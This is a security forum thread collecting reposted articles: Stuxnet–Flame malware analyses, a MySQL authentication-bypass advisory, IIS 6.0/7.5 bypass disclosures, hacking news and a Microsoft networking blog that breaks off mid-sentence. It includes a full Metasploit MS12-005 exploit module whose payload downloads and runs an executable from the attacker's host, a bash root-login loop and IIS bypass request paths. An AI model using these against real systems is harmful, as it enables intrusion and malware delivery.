Nytro

[h=4]Stuxnet Using This 0Day Ms10-046[/h] Description: Stuxnet using this 0day MS10-046 Sursa: Stuxnet Using This 0Day Ms10-046

[h=4]Creating Fake Https Pages With Sslstrip And Mitm[/h] Description: sslstrip is used to hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial. For more information on the attack, see the video from the presentation below. this video is simple demo of creating fake https page with this tool. Sursa: Creating Fake Https Pages With Sslstrip And Mitm

[h=1]Back to Stuxnet: the missing link[/h] Aleks Kaspersky Lab Expert Posted June 11, 13:30 GMT Tags: Flame, Cyber weapon, Cyber espionage, Vulnerabilities and exploits, Stuxnet Two weeks ago, when we announced the discovery of the Flame malware we said that we saw no strong similarity between its code and programming style with that of the Tilded platform which Stuxnet and Duqu are based on. Flame and Tilded are completely different projects based on different architectures and each with their own distinct characteristics. For instance, Flame never uses system drivers, while Stuxnet and Duqu’s main method of loading modules for execution is via a kernel driver. But it turns out we were wrong. Wrong, in that we believed Flame and Stuxnet were two unrelated projects. Our research unearthed some previously unknown facts that completely transform the current view of how Stuxnet was created and its link with Flame. The Flame inside Stuxnet First of all, let’s recap the Stuxnet story. We managed to recover just three different variants of the worm, created in June 2009, and in March and April 2010. The March 2010 variant was responsible for the greatest number of infections and was detected in June 2010 by specialists from the company VirusBlokAda in Belarus. This particular version was subjected to the most detailed analysis by anti-malware companies. Shortly afterwards, when news of Stuxnet had already become widespread, files related to its June 2009 incarnation were detected. This version, the so-called Stuxnet.A (1.0), differed considerably from the 2010 variants. The main differences were: The 2009 variant didn’t use the MS10-046 LNK file vulnerability In 2009, Stuxnet only had one driver file; in 2010 there were two (the second was added specifically to work with the LNK vulnerability) In 2009, Stuxnet used a special trick with the “autorun.inf” file to infect USB drives. All the other differences involve minor modifications to Stuxnet’s internal structure – some modules were deleted and their functions transferred to other modules. The most significant of those changes involved “resource 207”. Resource “207” is 520,192 bytes in size and can be found in the 2009 version of Stuxnet. It was later dropped altogether in the 2010 version, its code merged into other modules. List of resources in the March 2010 variant of Stuxnet List of resources in the 2009 variant of Stuxnet Despite the fact that Stuxnet has been the subject of in-depth analysis by numerous companies and experts and lots has been written about its structure, for some reason, the mysterious “resource 207” from 2009 has gone largely unnoticed. But it turns out that this is the missing link between Flame and Stuxnet, two seemingly completely unrelated projects. The Tocy story In October 2010, our automatic system received a sample from the wild. It analyzed the file thoroughly and classified it as a new Stuxnet variant, Worm.Win32.Stuxnet.s. With Stuxnet being such a big thing, we looked at the sample to see what it was! Sadly, it didn’t look like Stuxnet at all, it was quite different. So we decided to rename it to Tocy.a and thought “silly automatic systems!”. When Flame was discovered in 2012, we started looking for older samples that we might have received. Between samples that looked almost identical to Flame, we found Tocy.a. Going through the sample processing system logs, we noticed it was originally classified as Stuxnet. We thought, how was it possible? Why did the system think that this Flame sample was related to Stuxnet? Checking the logs, we discovered that the Tocy.a, an early module of Flame, was actually similar to “resource 207” from Stuxnet. It was actually so similar, that it made our automatic system classify it as Stuxnet. Practically, Tocy.a was similar to Stuxnet alone and to no other sample from our collection. Going back to the story, this is how we discovered the incredible link between Flame and Stuxnet. Resource 207 Resource 207 is an encrypted DLL file that contains another PE file inside (351,768 bytes). Information about the date of the module’s creation Information about the file in the resource 207 This PE file, 351,768 bytes in size, is actually a Flame plugin. Or, to be more precise, "proto-Flame" – a module that obviously has a lot in common with the current version of “mssecmgr.ocx” and which had evolved into Flame by 2012. We think it’s actually possible to talk about a ‘Flame’ platform, and that this particular module was created based on its source code. A few days ago on Twitter I saw a rather humorous tweet that said Flame was so “hardcore” that a whole Stuxnet was contained in its bases. It turns out that Stuxnet’s resources actually contain a Flame platform component! The correlations with the current variations of Flame include the following: Mutex names: TH_POOL_SHD_PQOMGMN_%dSYNCMTX and TH_POOL_SHD_MTX_GMN94XQ_%d String decryption algorithm Mangled class names: ?AVnxys_uwip and so on. Similar name to that used in the Flame architecture - with .ocx files (atmpsvcn.ocx) Moreover, the file contains hallmarks that were earlier considered exclusive to Stuxnet: Names of “trigger” files: %temp%\dat3A.tmp & snsm7551.tmp Utilitarian module parsing functions and their interrelation and architecture Principles for assembling function return codes Similar shellcode style Structure for describing the version of vulnerable operating systems and checking algorithm Its own import This is atmpsvcn.ocx – a Flame platform module inside Stuxnet. Interestingly, the current variants of Flame rely on the dat3C.tmp file, whereas the Flame module inside Stuxnet used the “dat3a.tmp” file as an identifier to flag its presence in the system. One can wonder if there was also a “dat3b.tmp” somewhere in time. Whole pieces of code from the latest Flame modules are identical to the code in atmpvsvcn.ocx. Of course, the most obvious similarity is the mutex names: TH_POOL_SHD_PQOMGMN_%dSYNCMTX TH_POOL_SHD_MTX_GMN94XQ_%d Moreover, there are other known Flame modules using mutex TH_POOL_SHD_MTX_FSW95XQ_%d, that we have dated to 2010, e.g. comspol32.ocx. The matches are even more impressive at the code level: getdecrypted function from Resource 207 getdecrypted function from mssecmgr.ocx DecrypString function from Resource 207 DecryptString function from mssecmgr.ocx DecryptString function from browse32.ocx (the Flame uninstaller module circulating in May-June 2012) Mutex used in Resource 207 Mutex used in mssecmgr.ocx Resource 207’s main functionality was to ensure Stuxnet propagation to removable USB drives via autorun.inf, as well as to exploit a then-unknown vulnerability in win32k.sys to escalate privileges in the system at stage of infection from USB drive. Map of resources in Stuxnet 2009 Spreading via autorun.inf is another trick that the Stuxnet 2009 version and the current variants of Flame have in common. Resource 207 operates as an infector of removable drives, copying “Flame” module as “autorun.inf” file to removable media and adding a special real autorun.inf file at end of PE file. The Main body of Stuxnet copied to USB drive as “~XTRVWp.dat” file. The PE file is correctly processed by the operating system as real autorun.inf and hence the module is executed when an infected device is accessed. After this, the Flame module loads ~XTRVWp.dat (main Stuxnet body) from the USB drive and injects it to system process via using EoP vulnerability. This particular code, which exactly matches the code in resource 207, is currently used by Flame, where it is executed by the “Autorun_infector” module. An old 0-day The Stuxnet Resouce 207 Flame-module contains an Escalation of Privilege exploit and is using it at stage of infection from USB drive for injecting main Stuxnet body to system processes. This is of interest in its own right. The exploit code in the file atmpsvcn.ocx is similar to that which we, Kaspersky Lab, found in the 2010 versions of Stuxnet and which was subsequently addressed by the MS10-073 patch. The code’s style, logic and details of its implementation were the same in the 2009 and 2010 code. Clearly, these two pieces of exploit code were written by the same programmer. However, a different exploit targeting a different vulnerability, which was older and was patched by 2010, was used in the 2009 version of Stuxnet. At the time when “resource 207” was created (February 2009), the vulnerability was not publicly known and was thus, it was a true 0-day vulnerability. Essentially, the vulnerability consists of the absence of input data checking, allowing the NtUserRegisterClassExWOW() function to overwrite a WORD of data beyond the allocated memory range in win32k. The function’s address in the _gpsi structure is overwritten with the address of the shellcode in two steps. Then the NtUserMessageCall() function is called, which passes control to the shellcode with kernel-level privileges. Neither function is exported to user mode, which means that addresses and parameters for calling services directly can be found by parsing modules on disk (user32&win32k). This vulnerability description is strikingly similar to that of vulnerability “Windows Kernel Could Allow Elevation of Privilege (968537)”, which was closed in June 2009 with patch MS09-025; however, we are still analyzing the code and can’t provide a 100% confirmation of this as yet. The main function exploiting the EoP vulnerability in Stuxnet 2009 The main function exploiting the EoP vulnerability in Stuxnet 2010 Code used to call controlled functions in the 2009 vulnerability Code used to call controlled functions in the MS010-073 vulnerability Conclusions Our analysis suggest several important conclusions, which we summarize below: By the time Stuxnet was created (in January-June 2009), the Flame platform was already in existence (we currently date its creation to no later than summer 2008) and already had modular structure. The Stuxnet code of 2009 used a module built on the Flame platform, probably created specifically to operate as part of Stuxnet. The module was removed from Stuxnet in 2010 due to the addition of a new method of propagation (vulnerability MS10-046) instead of the “old” autorun.inf The Flame module in Stuxnet exploited a vulnerability which was unknown at the time, a true 0-day. This enabled an escalation of privileges, presumably exploiting MS09-025 After 2009, the evolution of the Flame platform continued independently from Stuxnet. The above conclusions point to the existence of two independent developer teams, which can be referred to as ”Team F” (Flame) and ”Team D” (Tilded). Each of these teams has been developing its own platform since 2007-2008 at the latest. In 2009, part of the code from the Flame platform was used in Stuxnet. We believe that source code was used, rather than complete binary modules. Since 2010, the platforms have been developing independently from each other, although there has been interaction at least at the level of exploiting the same vulnerabilities. Sursa: Back to Stuxnet: the missing link - Securelist

[h=1]Diving Into Flame, Researchers Find A Link To Stuxnet[/h]by Dennis Fisher, Paul Roberts June 11, 2012, 9:35AM Researchers digging through the code of the recently discovered Flame worm say they have come across a wealth of evidence that suggests Flame and the now-famous Stuxnet worm share a common origin. Researchers from Kaspersky Lab say that a critical module that the Flame worm used to spread is identical to a module used by Stuxnet.a, an early variant of the Stuxnet worm that began circulating in 2009, more than a year before a later variant of the worm was discovered by antivirus researchers at the Belarussian firm VirusBlokAda. The claims are the most direct, to date, that link the Flame malware, which attacked Iranian oil facilities, with Stuxnet, which is believed to have targeted Iran's uranium-enrichment facility at Natanz. If true, they suggest a widespread and multi-year campaign of offensive cyber attacks against multiple targets within that country. According to the Kaspersky researchers, early versions of Stuxnet were, in fact, created out of components that were part of what they refer to as the "Flame platform". But they believe development of the two malicious programs diverged after 2009, suggesting that two different development teams may have been working independently for a single entity to create malware with specific objectives, according to Kaspersky researchers, writing on the company's blog, Securelist. Researchers at Kaspersky and elsewhere initially thought that Stuxnet and Flame were very different pieces of software, and that there was little evidence of a link or common ancestor. However, there was plenty of circumstantial evidence from the start that suggested some connection. For one thing, both Stuxnet and Flame infections were concentrated in Iran and neighboring countries - an unusual pattern of infection compared to other malware. Second, Flame relied on many of the same mechanisms to spread from computer to computer, including USB-based infections and exploitation of a vulnerabilities in Windows' Autorun feature and a print spooler vulnerability - both of which were used by Stuxnet to spread. Subsequent research suggests that claims about the distinctness of Flame were premature. In their work, Kaspersky researchers worked off clues generated by their own automated virus analysis technology, which spotted a malicious file that it considered a variant of Stuxnet in October 2010. Kaspersky analysts at the time studied the variant and saw few similarities to Stuxnet. They dismissed the categorization as a "false positive" and renamed the malware "Tocy.a" More than two years later, however, those same researchers stumbled on Tocy.a as they looked for older malware samples that resembled Flame. Noting the history of Tocy.a and its initial designation as a Stuxnet variant, the researchers probed deeper into why the companies artificial intelligence saw the two pieces of malicious code as so similar to each other, but not to other samples from Kaspersky's massive library of malware. Their conclusion: a module originally found in an early Stuxnet variant dubbed "Resource 207." The module, a little more than 350,000 bytes long, was used by Stuxnet.a to to do "privilege escalation" - tricks to give the attackers administrator-level access to systems they compromise. Resource 207 disappeared from later versions of Stuxnet that spread more widely and, thus, received more attention from researchers - its code absorbed into other Stuxnet components. Looked at closely, however, Resource 207 from the early version of Stuxnet was nearly identical to a module in the Flame malware. Kaspersky now considers it a "Flame plug-in. Or, to be more precise proto-Flame." In fact, it matches almost exactly with a contemporary Flame file called "mssecmgr.ocx." The two elements contain similar bones: components with nearly identical names, identical string decryption algorithms and nearly identical methods of writing shell code components within each. Like handwriting analysts, the Kaspersky researchers have concluded that at least some elements of both Stuxnet and Flame were created by the same hand - or hands. Resource 207 is, they believe, an early component of what they now consider the 'Flame' platform. "By the time Stuxnet was created (in January-June 2009), the Flame platform was already in existence," the researchers write. "we currently date [Flame's] creation to no later than summer 2008, [when it] already had a modular structure." The worm known as Stuxnet, they believe, used a module built on the Flame platform. That module was probably created specifically to operate as part of Stuxnet. Researchers believe it originally exploited a previously unknown (zero-day) vulnerability that enabled an escalation of privileges, presumably by exploiting an issue later patched by Microsoft with MS09-025. The module was then removed in 2010 as the Stuxnet authors shifted focus to a new method of propagation using the vulnerability patched by Microsoft in its MS10-046 update in August 2010. After 2009, the evolution of the Flame platform continued independently from Stuxnet, and Kaspersky researchers theorize that the work on the malicious programs was tasked to two independent developer teams, which they termed ”Team F” (Flame) and ”Team D” (for "Tilded," the Stuxnet program). "Each of these teams has been developing its own platform since 2007-2008 at the latest, but snippets of their common origins appear in both pieces of malware." In addition to the concrete link between Flame and Stuxnet, researchers also discovered that there was a fifth zero-day vulnerability being used by a version of Stuxnet is 2009, which was included in the resource 207 module shared by Stuxnet and Flame. Exploit code for that flaw, which is an elevation-of-privilege bug, was included in a variant of Stuxnet that was in use in early 2009. The code for that variant was compiled in February 2009 and the bug was unknown at the time. Microsoft patched the vulnerability with bulletin MS09-025, four months later. "The same programmer who did the attack on this bug and the MS10-073 bug used in Stuxnet.b, which also was an elevation of privilege," Roel Schouwenberg, a senior malware researcher at Kaspersky, said in a press conference Monday. "It was definitely very interesting to see." Schouwenberg said that researchers are unsure why resource 207 was removed from the Stuxnet code at some point, but it may have been a way to keep the two attack tools separate. "One theory is that Flame was a more general purpose cyber-espionage tool and they didn't want to mix the two platforms more than was necessary," he said. The implications of the researchers' discoveries are intriguing. Many security experts will be unsurprised to learn that two pieces of malicious code with such similar targets and objectives may have come from the same source. Many assumed the Flame malware had links back to a foreign government, rather than criminal hacking groups. News last week about the worm's use of a never-before-seen cryptographic collision attack to enable the malware to impersonate a Microsoft software update more or less sealed the case. However, recent news reports citing unnamed government sources give the U.S. credit for creating Stuxnet. That suggests that the U.S. or its allies may have been behind the Flame malware also. That, in turn, has stoked public debate about the wisdom of conducting offensive cyber operations - covert or otherwise. That debate, like the investigation into Flame itself, is likely to intensify, rather than fade, as time goes by. Sursa: https://threatpost.com/en_us/blogs/diving-flame-researchers-find-link-stuxnet-061112

https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql http://pastie.org/4064638

CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability A serious security bug in MariaDB and MySQL Disclosed, According to Advisory All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. This issue got assigned an id CVE-2012-2122. When a user connects to MariaDB/MySQL, a token (SHAover a password and a random scramble string) is calculated and comparedwith the expected value. Because of incorrect casting, it might'vehappened that the token and the expected value were considered equal,even if the memcmp() returned a non-zero value. In this caseMySQL/MariaDB would think that the password is correct, even while it isnot. Because the protocol uses random strings, the probability ofhitting this bug is about 1/256." "Which means, if one knows a user name to connect (and "root" almostalways exists), she can connect using *any* password by repeatingconnection attempts. ~300 attempts takes only a fraction of second, sobasically account password protection is as good as nonexistent.Any client will do, there's no need for a special libmysqlclient library." The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password. $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done mysql> Defense: The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control. the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the "bind-address" parameter to "127.0.0.1". Restart the MySQL service to apply this setting. Note: Download The Latest Exploits for CVE-2012-2122 From our TOOLS YARD section.Sursa: CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability | The Hacker News

W3Schools e un jeg, pe langa faptul ca e foarte putina documentatie, deseori e si stupida. Uitati aici tutorial HTML: http://www.w3.org/TR/html5/single-page.html

Flame malware extinguished by creators [h=3]Code auto-uninstalls using newly-sent command[/h] The originators of the accidentally-discovered Flame malware may have sent commands to the controlled machines to delete and overwrite itself. Interestingly, rather than use a pre-existing command in the code, aptly titled SUICIDE, the controllers sent a whole new directive file that assisted in the auto-uninstallation. Symantec reports compromised computers were sent a file called browse32.ocx, which contains a list of files to delete without leaving any trace of the original infection. It is unknown why the new command was sent, rather than the utilization of the already extant component in the Flame code. The specific list of files deleted can be found on the Symantec webpage. Flame was accidentally discovered while another malware threat was being investigated. Microsoft released a high-priority update and security advisory after parts of the Flame malware were found to be signed with reverse-engineered Microsoft Root Authority certificates. By Electronista Staff Read more: Flame malware extinguished by creators | Electronista

MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::TcpServer def initialize(info={}) super(update_info(info, 'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Office's ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', #Vuln discovery 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-0013'], ['OSVDB', '78207'], ['MSB', 'ms12-005'], ['BID', '51284'], ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'], ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none", 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Microsoft Office Word 2007/2010 on Windows 7', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end # # Return the first-stage payload that will download our malicious executable. # def get_download_exec_payload(type, lhost, lport) payload_name = Rex::Text.rand_text_alpha(7) # Padd up 6 null bytes so the first few characters won't get cut off p = "\x00"*6 case type when :rb p << %Q| require 'socket' require 'tempfile' begin cli = TCPSocket.open("#{lhost}",#{lport}) buf = '' while l = cli.gets buf << l end cli.close tmp = Tempfile.new(['#{payload_name}','.exe']) t = tmp.path tmp.binmode tmp.write(buf) tmp.close exec(t) rescue end#| when :py p << %Q| import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("#{lhost}", #{lport})) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp) #| end p = p.gsub(/^\t\t\t/, '') return p end # # Reads a file that'll be packaged. # This will patch certain files on the fly, or return the original content of the file. # def on_file_read(fname, file) f = open(file, 'rb') buf = f.read f.close # Modify certain files on the fly case file when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) # Patch username username = Rex::Text.rand_text_alpha(5) buf = buf.gsub(/METASPLOIT/, username) buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username)) # Patch the filename f = Rex::Text.rand_text_alpha(6) buf = buf.gsub(/MYFILENAME/, f) buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f)) # Patch the extension name ext = ptype.to_s buf = buf.gsub(/MYEXT/, ext) buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext)) when /document\.xml/ print_status("Patching document body") # Patch the docx body buf = buf.gsub(/W00TW00T/, datastore['BODY']) end # The original filename of __rels is actually ".rels". # But for some reason if that's our original filename, it won't be included # in the archive. So this hacks around that. case fname when /__rels/ fname = fname.gsub(/\_\_rels/, '.rels') end yield fname, buf end # # Packages the Office Macro Document # def package_docm_rex(path) zip = Rex::Zip::Archive.new Dir["#{path}/**/**"].each do |file| p = file.sub(path+'/','') if File.directory?(file) print_status("Packging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| print_status("Packaging file: #{fname}") zip.add_file(fname, buf) end end end zip.pack end # # Return the malicious executable # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) service.close_client(cli) end def exploit @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @port = datastore['SRVPORT'] print_status("Generating our docm file...") path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013') docm = package_docm_rex(path) file_create(docm) print_good("Let your victim open #{datastore['FILENAME']}") print_status("Generating our malicious executable...") @exe = generate_payload_exe print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}") super end end =begin mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) ... 24c24 < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) --- > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) 31c31 =end Sursa: MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability Video: http://www.youtube.com/watch?v=Odi6HiqzmL8&feature=youtu.be&hd=1

[h=1]Microsoft IIS 6.0 and 7.5 Multiple Vulnerabilities[/h] THIS IS A GENUINE ISOWAREZ RELEASE ******************************************************** ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 6.0 with PHP installed Authentication Bypass Affected software: Microsoft IIS 6.0 with PHP installed (tested on Windows Server 2003 SP1 running PHP5) Details: By sending a special request to the IIS 6.0 Service running PHP the attacker can successfully bypass access restrictions. Take for example: 1.) IIS/6.0 has PHP installed 2.) There is a Password Protected directory configured --> An attacker can access PHP files in the password protected directory and execute them without supplying proper credentials. --> Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php IIS/6.0 will gracefully load the PHP file inside the "admin" directory if the ::$INDEX_ALLOCATION postfix is appended to directory name. This can result in accessing administrative files and under special circumstances execute arbirary code remotely. ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 7.5 Classic ASP Authentication Bypass Affected Software: Microsoft IIS 7.5 with configured Classic ASP and .NET Framework 4.0 installed (.NET Framework 2.0 is unaffected, other .NET frameworks have not been tested) (tested on Windows 7) Details: By appending ":$i30:$INDEX_ALLOCATION" to the directory serving the classic ASP file access restrictions can be successfully bypassed. Take this Example: 1.) Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files) 2.) There is a password protected directory configured that has administrative asp scripts inside 3.) An attacker requests the directory with :$i30:$INDEX_ALLOCATION appended to the directory name 4.) IIS/7.5 gracefully executes the ASP script without asking for proper credentials ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 7.5 .NET source code disclosure and authentication bypass Affected Software: Microsoft IIS/7.5 with PHP installed in a special configuration (Tested with .NET 2.0 and .NET 4.0) (tested on Windows 7) The special configuration requires the "Path Type" of PHP to be set to "Unspecified" in the Handler Mappings of IIS/7.5 Details: The authentication bypass is the same as the previous vulnerabilities: Requesting for example http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php will run the PHP script without asking for proper credentials. By appending /.php to an ASPX file (or any other file using the .NET framework that is not blocked through the request filtering rules, like misconfigured: .CS,.VB files) IIS/7.5 responds with the full source code of the file and executes it as PHP code. This means that by using an upload feature it might be possible (under special circumstances) to execute arbitrary PHP code. Example: Default.aspx/.php Cheerio and signed, /Kingcope Sursa: Microsoft IIS 6.0 and 7.5 Multiple Vulnerabilities

"Version 3.0 of MorphOS has been released. It's the independent PPC OS designed for outdated Apple systems like G4 PowerBooks (5,6; 5,7; 5,8; or 5,9) and eMacs (1.25 GHz/1.42 GHz) and PPC Mac Minis, and some G4 PowerMac models (depends on graphics hardware). It further runs on discontinued and niche Genesi desktop systems (Pegasos) and the stunted 128-megabyte-of-RAM tiny Efika. MorphOS is a nice-looking, low-resource, and nimble OS that can't match the capabilities of current Windows, Mac, and Linux. Its installation/live CD is free without caveat, and runs for 30 minutes at a time, as many times as you like. You may purchase MorphOS to remove the time limit. A particular weakness of MorphOS is its lack of support for wireless networking." Sursa: MorphOS 3.0 Released: Refusing To Let the PPC Desktop OS Die Gracefully - Slashdot Pagina oficiala: http://www.morphos.de/ MorphOS is a lightweight, highly efficient and flexible media-centric operating system. If you are new to MorphOS and would like to learn more about it, please visit this page.

Hackers Jailed for £26.9 Million Credit Card Fraud Cei vechi, care stiti de h4cky0u, cititi... By: Bianca Dima | comment : | June 07, 2012 Two “one-stop shop” hackers were sentenced in the UK for credit card fraud totalling more than £26.9 million. According to Serious Organised Crime Agency officers, the actual loss is likely to be a lot more. The two cyber criminals provided various services to bank fraudsters and were sentenced to almost 3, and, respectively, 2 years in prison. Under the moniker of ‘t0pp8uzz’, Jay Moore set up the ‘Freshshop’ website to facilitate the bulk sale of stolen financial data. He recruited Damian Horne, known as ‘GM’, on an underground forum. The two men started breaking the law by selling stolen iTunes vouchers and other online gaming codes on eBay. “Within a short space of time the two escalated their criminal enterprise to sell compromised credit card data and launder the proceeds of their criminality through a network of bank accounts, online financial institutions and overseas money exchangers,” SOCA representatives said in a press release. Though he had no formal qualifications, Moore used his IT knowledge to hack into computers and obtain payment card databases. He then made them available through his website, designed to look and operate like a common retail site. The hacker also made money out of commissions he received from other fraudsters who sold compromised data on his website. Last year, in a raid at his parents’ house, Police found a safe with over £80,700 in cash, a fresh out of the assembly line BMW car and personalized registration plate which alone was valued at over £10,000. “Such was Moore’s wealth that he also provided some £40,000 to help his father buy a substantial farm house, and attributed his earnings to a fake web design business created purely to hide his criminal activity,” Police said. In the attacks, more than 340,000 people had their personal information stolen. In addition to the £26.9 million fraud, the data breach could lead to fake bank accounts and to cheque or identity fraud. Sursa: Hackers Jailed for £26.9 Million Credit Card Fraud | HOTforSecurity

Probabil eu, daca o sa dau de PingLord, daca am cu ce. Teoretic am, dar nu sunt 100% sigur.

[h=3]Source IP address selection on a Multi-Homed Windows Computer[/h]MichaelPlatts [msft] 24 Apr 2009 4:59 PM Aka "Cum se selecteaza IP/NIC" cand se trimite un pachet in retea. There is often confusion about how a computer chooses which adapter to use when sending traffic. This blog describes the process by which a network adapter is chosen for an outbound connection on a multiple-homed computer, and how a local source IP address is chosen for that connection. [h=3]What is Source IP address selection?[/h] Source IP address selection is the process by which the stack chooses an IP address. Windows XP and Windows Server 2003 are based on the weak host model. When a Windows Sockets program binds to a socket, one of the parameters that is passed in the bind() call is the local (source) IP address that should be used for outbound packets. Most programs do not have any knowledge of network topology, so they specify IPADDR_ANY instead of a specific IP address in their bind() call. IPADDR_ANY tells the stack that the program is going to let the stack choose the best local IP address to use; [h=4]Windows XP behavior[/h] KB175396 - Windows Socket Connection from a Multiple-Homed Computer The TCP/IP component of all Microsoft Windows operating systems prior to Windows Vista is based on a Weak Host model. This model gives program developers the greatest amount of leeway when they design programs that use the network and are compatible with Microsoft products. This model also puts the responsibility of the behavior of the networking program on the developers, because the developers specify how the program accesses the TCP/IP stack and responds to incoming and outgoing frames. On a computer that has one network adapter, the IP address that is chosen is the Primary IP address of the network adaptor in the computer. However, on a multiple-homed computer, the stack must first make a choice. The stack cannot make an intelligent choice until it knows the target IP address for the connection. When the program sends a connect() call to a target IP address, or sends a send() call to a UDP datagram, the stack references the target IP address, and then examines the IP route table so that it can choose the best network adapter over which to send the packet. After this network adapter has been chosen, the stack reads the Primary IP address associated with that network adapter and uses that IP address as the source IP address for the outbound packets. Example: Source supplied in the call: IPADDR_ANY Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:192.168.1.10 The chosen source NIC: Nic 1 If the program specifies a source IP address to use in the bind() call, that IP address is used as the source IP address for connections sourced from that socket. However, the route table is still used to route the outbound IP datagrams, based on the target IP address. As a result of this behavior, the source IP address may not be the one associated with the network adapter that is chosen to send the packets. Example: Source supplied in the call:10.0.0.10 Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:10.0.0.10 The chosen source Nic: Nic 1 <- Note this is not the Nic the source IP is on. [h=3]Summary[/h] If a source IP is not given the Primary IP address of the adapter with a route that most closely matches the target IP address is used to source the packet and the adapter that the Primary IP is associated with is used as the source adapter. If the source IP is specified the adapter that is used to send the packet is the one with a route that most closely matches the target IP address and this may not be the adapter that is associated with the source IP. [h=4]Windows Vista/Windows Server 2008 behavior[/h] Windows Vista and later are based on the strong host model. In the strong host model, the host can only send packets on an interface if the interface is assigned the source IP address of the packet being sent. Also the concept of a primary IP address does not exist. Similar to XP when if a program doesn't specify a source IP, the stack references the target IP address, and then examines the entire IP route table so that it can choose the best network adapter over which to send the packet. After the network adapter has been chosen, the stack uses the address selection process defined in RFC 3484 and uses that IP address as the source IP address for the outbound packets. Example: Source supplied in the call: IPADDR_ANY Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.2.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:192.168.1.11 The chosen source NIC: Nic 1 If the program specifies a source IP address, that IP address is used as the source IP address for connections sourced from that socket and the adapter associated with that source IP is used as the source interface. The route table is searched but only for routes that can be reached from that source interface. Example: Source supplied in the 